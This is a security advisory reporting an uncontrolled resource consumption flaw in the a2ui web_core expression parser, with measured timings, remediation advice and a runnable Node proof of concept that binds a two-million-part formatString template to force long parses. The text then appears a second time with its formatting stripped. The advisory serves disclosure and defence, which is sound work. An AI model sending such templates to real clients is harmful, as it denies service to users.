Expression parser has no template length or parts cap (multi-second parses per binding)
Repository: https://github.com/a2ui-project/a2ui
Affected: @a2ui/web_core (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)
Summary
ExpressionParser bounds only recursion depth (MAX_DEPTH = 10); parse() accepts an input of any length and emits any number of ${…} parts. formatString invokes the parser on the agent-supplied template with no bound, so a dynamic property bound to {call:'formatString', args:{value: '<${x} repeated millions of times>'}} performs a multi-second parse on initial resolution — and again on every re-resolution of the binding (each data-model change). The missing length/parts bound (present for depth, absent for breadth) is the defect.
Affected code
renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts — depth cap only (MAX_DEPTH = 10; npm dist …/expression_parser.js:26,31-69); no input-length or parts-count limit
renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions.ts — new ExpressionParser().parse(template) on the agent-supplied value, unbounded (npm dist …/basic_functions.js:210-211)
Observed behavior (measured)
Published package, a TextField label bound to formatString with a template of N interpolations:
| template |
parse cost at bind |
hello ${x} (control) |
~0 ms |
2,000,000 ${x} parts |
978 ms |
Re-fires on every subsequent data-model change of bound paths.
Impact
One spec-valid binding consumes ~1 s of main-thread time per resolution, repeated on each change — sustained client-side DoS from a single message. Availability only.
Suggested remediation
- Cap template length and parts count in
ExpressionParser.parse (reject beyond a threshold).
- Additionally bound
formatString's value argument length in its Zod schema.
PoC
Prerequisites: Node ≥ 20 with @a2ui/web_core@0.10.6 installed. Run node poc_f25.mjs; on success it prints a JSON verdict ending in "confirmed": true and exits 0.
// poc_f25.mjs — F-25: ExpressionParser.parse has no template length / parts-count
// cap (only depth=10). formatString calls it on a SERVER-CONTROLLED template.
// We bind a TextField `label` to {call:'formatString', args:{value: template}}
// and measure the mount-time resolution. Confirmed if the 2M-part binding takes
// >300 ms vs a 1-part control.
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
function setup(template) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/x', value: 'x' } },
{ version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: { call: 'formatString', args: { value: template } }, value: { path: '/x' } },
] } },
]);
return processor.model.getSurface('poc');
}
function timed(template) {
const surface = setup(template);
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const t0 = process.hrtime.bigint();
const sub = binder.subscribe(() => {});
const ns = Number(process.hrtime.bigint() - t0);
sub.unsubscribe(); binder.dispose(); surface.dispose();
return +(ns / 1e6).toFixed(0);
}
const ctrl = timed('hello ${x}');
const big = timed('${x} '.repeat(2_000_000));
const ok = big > 300 && big > ctrl * 20;
console.log(JSON.stringify({ finding: 'F-25-expression-parser-no-parts-cap', control_1part_ms: ctrl, with_2000000_parts_ms: big, confirmed: ok }, null, 2));
process.exit(ok ? 0 : 1);
Expression parser has no template length or parts cap (multi-second parses per binding)
Repository: https://github.com/a2ui-project/a2ui
Affected:
@a2ui/web_core(verified against published npm release 0.10.6)CWE: CWE-400 (Uncontrolled Resource Consumption)
Summary
ExpressionParserbounds only recursion depth (MAX_DEPTH = 10);parse()accepts an input of any length and emits any number of${…}parts.formatStringinvokes the parser on the agent-supplied template with no bound, so a dynamic property bound to{call:'formatString', args:{value: '<${x} repeated millions of times>'}}performs a multi-second parse on initial resolution — and again on every re-resolution of the binding (each data-model change). The missing length/parts bound (present for depth, absent for breadth) is the defect.Affected code
renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts— depth cap only (MAX_DEPTH = 10; npm dist…/expression_parser.js:26,31-69); no input-length or parts-count limitrenderers/web_core/src/v0_9/basic_catalog/functions/basic_functions.ts—new ExpressionParser().parse(template)on the agent-suppliedvalue, unbounded (npm dist…/basic_functions.js:210-211)Observed behavior (measured)
Published package, a TextField
labelbound toformatStringwith a template of N interpolations:hello ${x}(control)${x}partsRe-fires on every subsequent data-model change of bound paths.
Impact
One spec-valid binding consumes ~1 s of main-thread time per resolution, repeated on each change — sustained client-side DoS from a single message. Availability only.
Suggested remediation
ExpressionParser.parse(reject beyond a threshold).formatString'svalueargument length in its Zod schema.PoC
Prerequisites: Node ≥ 20 with
@a2ui/web_core@0.10.6installed. Runnode poc_f25.mjs; on success it prints a JSON verdict ending in"confirmed": trueand exits 0.